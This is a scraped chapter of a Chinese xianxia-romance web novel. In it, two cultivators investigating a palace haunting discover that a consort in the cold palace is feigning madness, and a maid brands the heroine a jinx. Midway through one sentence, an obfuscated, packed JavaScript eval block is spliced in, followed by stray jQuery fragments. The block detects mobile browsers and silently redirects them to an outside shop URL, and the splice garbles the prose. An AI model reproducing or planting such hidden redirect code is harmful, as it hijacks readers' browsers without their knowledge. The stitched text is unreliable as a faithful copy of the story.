文趣网 > 其他小说 > 废柴也要去捉妖吗 > 32. 天煞孤星
    淑宁公主称生母早逝,故养在皇后膝下,但其实仔细查探,就能知道她的生母其实还尚在人间。

    听了这话,刘嫔的身体不明显地僵了一下。

    “你,你是皇后娘娘。”刘嫔一边拍着手,一边露出痴傻的笑容。

    燕观霜的目光落在窗台上那株绿植,还有那叠得整齐的衣裳。

    “这绿植分明是有人细心照料,否则会长得如此好?”燕观霜望向刘嫔,“还有这床上整洁的衣裳,刘嫔娘娘,您根本就没疯。”

    听了这通话,刘嫔面上还是痴傻的样子,而后又坐在地上耍赖。

    “皇后皇上欺负我,你们都欺负我,你们都欺负我!”

    宛如孩童一般,旁人看了还真会心生惋惜。

    好在燕观霜观察细致入微,不一会儿就瞥见墙角的一只粗陶药罐,顿时了然。

    那罐底还残留着半指深的褐色药渣,药渣还是湿润的,气味苦涩而新鲜。

    显然是是刚服过药的痕迹,冷宫里的人,生死不论,太医院不会给冷宫送药,能送药进来的,只有宫外的人。

    燕观霜收回目光,想起她与褚听澜曾去过太医院打探消息,无意间看到了记录册。

    淑宁公主每月的初一、十五,都会派人去太医院取几味药。

    当归、黄芪、川芎,全是温补气血的寻常药材,寻常到不起眼,但一个无病无痛的公主,每月雷打不动地取这些药,若不是自己用,就是给什么需要长期调理的人用。

    燕观霜蹲下身,与刘嫔平视:“刘嫔娘娘,冷宫里的人,生死不论。可您还能喝上药,您知道是谁在给您送吗?”

    刘嫔攥着馒头的手指微微收紧了一下,她的嘴唇动了动,没有回答。

    燕观霜没有追问,只是静静地说:“我们昨日去太医院查过记录。每月初一、十五,都会有人替淑宁公主取药。”

    “您的这些药,是淑宁公主悄悄派人送来的。”

    说到这儿,刘嫔的肩膀猛地抖了一下,她猛地抓住燕观霜的衣袖,像是抓住了救命稻草。

    “你说的是真的?当真是宁儿给我送的药?”刘嫔抬起头,那双浑浊的眼睛里忽然有了一层薄薄的水光,像一口枯了很久的井底,忽然渗出了一滴湿意。

    褚听澜就在一旁静静地看着,瞧着刘嫔的变化,也瞧着燕观霜细致入微的心思,眼底一弯。

    “宁儿她过得还好吗?她有没有按时吃饭,宫里是否有人欺负她?”刘嫔说起淑宁公主来完全换了一副面孔。

    燕观霜与褚听澜相视一眼,刘嫔果然在装疯卖傻,而眼前的人,正是淑宁公主的生母,也难怪宫女会让两人来此处寻查。

    燕观霜将手轻轻地拍在刘嫔的手背:“淑宁公主很好,只是……公主所居的揽月阁怕没有那么太平。”

    刘嫔抬起头,颇有些担忧地问:“这是什么意思?”

    褚听澜接话,语气平稳:“揽月阁闹妖祟。我们是宫中派来查案的修士,查来查去,发现淑宁公主有很大问题。”他顿了顿,“我们想知道,淑宁公主究竟是一个怎样的人。”

    刘嫔沉默了很久。

    她低下头,目光落在自己枯瘦的手指上:“宁儿……她小时候很乖,很懂事,从不惹事。我还在宫里的时候,她每日下了课就来我这儿,趴在我膝上让我给她梳头。她最喜欢桂花糖,每次我给她一颗,她能含在嘴里含一个下午,舍不得咽。”

    她的声音有些发颤:“后来她生了一场大病,烧了很久,太医说险些救不回来,之后便出宫后不知所踪。”

    她顿了一下:“她走后没多久,我就被人陷害,打入了冷宫。”

    刘嫔低下头,看着自己交握的手:“这些年,我再没见过她。每个月有人来送药,我也不知是谁。我不知道她变成了什么样……”

    她抬起头,眼含泪水,情绪激动:“但宁儿绝不会同妖祟有关。”

    谁知就在这时,门帘猛地被人从外面掀开了,一阵疾风灌进来,扫起地上的灰尘。

    一个穿着深青色宫装的嬷嬷冲了进来,手里握着一把扫帚,满脸怒容,脚步又急又重。

    她一眼就看见了褚听澜和燕观霜,几乎是冲过来的,扫帚杆子朝褚听澜的方向挥了一下。

    褚听澜侧身避开了主要的力道,但肩膀还是被扫帚头刮了一下,他往旁边退了半步,衣袍被带得一晃。

    袖口滑开了一截,一方浅绿色的手帕从袖中掉了出来,轻飘飘地落在地上。帕角绣着一朵小小的霜花,针脚细密,正是那天燕观霜让纸人送去的那块。

    嬷嬷没有看见手帕,她抄着扫帚,挡在刘嫔身前,目光凌厉如刀:“你们是哪来的人!竟敢冲撞我家主子!”

    刘嫔连忙站起来,拉了拉嬷嬷的袖子,声音急促而低:“张嬷嬷,他们是宫中派来的修士,不是坏人……”

    张嬷嬷的扫帚没有放下,但怒意缓了一些。

    她转头看了一眼刘嫔,又回头看了看褚听澜和燕观霜,目光在褚听澜腰间的佩剑上停了一瞬,鼻子里发出一声冷哼,扫帚杆子磕在地上:“冷宫是什么地方,随随便便什么人都能进?宫里头的规矩呢?”

    她嘴上还在数落,但语气已经没有方才那么冲了。

    褚听澜没有回应嬷嬷的话,他捡起手帕,十分小心地擦去手帕上的灰尘,似是极其珍稀之物。

    “这手帕……”燕观霜那日见褚听澜伤心落泪,让纸人送去了手帕,没想到他竟保存这么久,还贴身……

    燕观霜不觉脸上发烫。

    “这是一位对我很重要的人送的。”褚听澜将手帕珍惜地放了回去,那日他问遍了弟子,也没找到是谁做的,他转身只看见一抹浅蓝色的衣角。

    应是一位女子,瞧见他被花粉刺激后误认为自己在啼哭,但这份心意,褚听澜心里一直记着。

    燕观霜的耳根更热了。

    刘嫔见这手帕是人家重要的东西,连忙拉了拉张嬷嬷的袖子:“张嬷嬷,快给这位公子赔个不是。”

    张嬷嬷虽然脸上还带着几分不服气,但终归是把扫帚放了下来,朝褚听澜略欠了欠身:“是老奴冒失了,公子莫怪。”

    语气算不上多好,但礼数是到了。

    刘嫔又接着说:“张嬷嬷是我的贴身婢女,从入宫前就一直跟着我了。我出事之后她被调遣到了别处,这些年也只有她隔三差五来看我。你们若有宁儿的事,兴许可以问她。”

    张嬷嬷一听又是淑宁的事,眉头刚皱了皱,还没来得及开口,目光忽然落在燕观霜脸上。

    她的瞳孔猛地缩了一下,像看见了什么不该看见的东西,整个人往后连退了两步,后背撞在门框上,发出“咚”的一声闷响。

    她的声音都变了调:“天煞孤星……!”

    褚听澜的眉头当即皱了起来,语气不重,但冷了几分:“你在胡说什么?”

    刘嫔也一脸困惑,看了看张嬷嬷又看了看燕观霜,不明所以。

    燕观霜没有说话,她站在那里,日光从半掩的门缝里照进来,落在她身上,把她那件粉色的衣裳染上了一层暖意。

    但脸色却苍白,她看着张嬷嬷那副惊恐的模样,对于这不怀好意的称呼,没有半分惊讶,反而像是已经听过无数遍这样的话,异常平静。

    张嬷嬷的目光在她脸上反复扫了好几遍,像是在确认什么,嘴里喃喃着:“你是燕家的那个女儿……你是燕家的……”

    张嬷嬷嘴唇哆嗦了一下,目光里多了一层之前没有的东西:“你……你们要问什么,快问吧,我都告诉你。问完了……快走。”

    她的声音有些发紧,手指攥着袖口,像是怕什么似的。

    刘嫔不解地看了她一眼,略带些歉意地望向面前的两人:“你今日是怎么了,竟胡言乱语,这两位是陛下招来的修士。”

    张嬷嬷急得直跺脚:“哎呀,主子不知道!她……”

    她指着燕观霜:“她克死了她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666494|203990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    父母!入宫前,我和那燕家是邻街的,若是再待下去,怕是我以后在这宫中也得触霉头!”

    褚听澜的目光落在张嬷嬷身上,落在她那张一张一合就能伪造事实的嘴上。

    “张嬷嬷,观霜是我沧澜城燕家的大师姐,济世救民,斩妖除魔,岂能容你一张嘴就在这儿诋毁?”

    他的声音冰冷,往前站了一步将燕观霜笼于身后,大有为其出一口恶气的意思。

    燕观霜没有看他,她只是站在那里,垂着眼睫,若是寻常也就罢了,可今日在褚听澜面前听到这四个字,她的心却是无比的刺痛。

    像是被剥光了站在人面前,所有的阴暗铺天盖地的袭来,那股年幼的自卑又涌上心头。

    燕观霜声音带着微弱的颤抖:“她说的都是真的。”

    燕家曾经就住在京城附近的镇上,一户寻常人家,开了间不大不小的铺子,日子过得安稳。

    燕观霜出生的时候,镇上有人说这女婴生来不凡,眉眼间有灵光。

    她学什么都快,走路比别的孩子早,说话比别的孩子早,识字也比别的孩子早。

    但她也冷,不爱跟同龄的孩子玩,有人凑过来她就走开了,像一块捂不热的石头。

    孩童们羡慕她聪明,又嫉妒她不搭理人,便开始传一些话来编排她。

    先是说她目中无人,后来不知从谁嘴里冒出了“天煞孤星”四个字。

    那时候谁也不懂这四个字是什么意思,只是觉得念起来吓人,便跟着念。

    再后来,她的父母在一场大病中先后离世,燕观霜那年很小,站在灵堂里,来吊唁的人从她身边走过,眼神里带着欲盖弥彰的窃窃私语。

    “你看,我就说吧,天煞孤星,克死了爹娘。”

    她站在灵堂里,站了一整夜,第二天天快亮的时候,她走到镇子外的河边,蹲下来,洗了把脸。

    河水凉得刺骨,她洗了很久,像是要把什么东西洗干净,然后她站起身,没有再回头。

    后来她去了沧澜城,入了燕家,成了燕家的大师姐。

    她用一把剑、一张符,把自己从那个镇子里拔了出来,她很少提起从前的事,不是不记得,是不想记得。

    燕观霜说完后,褚听澜几乎没有犹豫,他转过身,面朝着她,目光笔直地落在她脸上。

    他的声音不重,但每一个字都清清楚楚:“那又如何?”

    燕观霜抬起眼,有些错愕地看着他。

    褚听澜没有移开目光:“那又如何。在我心里,你永远是燕观霜。”

    燕观霜看着他,嘴唇动了一下,想说什么,又咽了回去,她垂下了眼,嘴角有一个极细微的弧度,像冬天的冰面上裂开了一道极细的缝,底下有水在流动。

    刘嫔有些尴尬地清了清嗓子,打着圆场:“诸位见笑了。张嬷嬷跟着我,没读过什么书,听风就是雨,信了那些话。嬷嬷,还不快给人家赔个不是?”

    张嬷嬷又气又恼,看了一眼燕观霜,那目光里还有几分将信将疑的余韵,但终归是当着刘嫔的面,低了低头:“是老奴失言了,姑娘莫怪。”

    刘嫔这才转回正题,看向两人:“诸位快些问吧。张嬷嬷待不了多久,一会儿还得回差事上去。”

    张嬷嬷搓了搓手,目光闪烁了一下,像是有什么话在嘴边转了好几圈。她看了看刘嫔,又看了看燕观霜和褚听澜,犹豫了一会儿,终于开口:“主子,能否和他们……借一步说话?”

    刘嫔愣了一下,不解地看了她一眼,但见她神色认真,不像是在开玩笑,便点了点头。

    张嬷嬷带着褚听澜和燕观霜走到门外廊下,避开了刘嫔能听见的距离,才停下来。

    她回头看了一眼半掩的房门,确定里面听不见,才压低声音开口:“淑宁公主的事,主子知道的,都是些好的。她以为淑宁还是小时候那个模样,我不忍心告诉她……”

    燕观霜看了一眼张嬷嬷的神色:“您知道些什么?”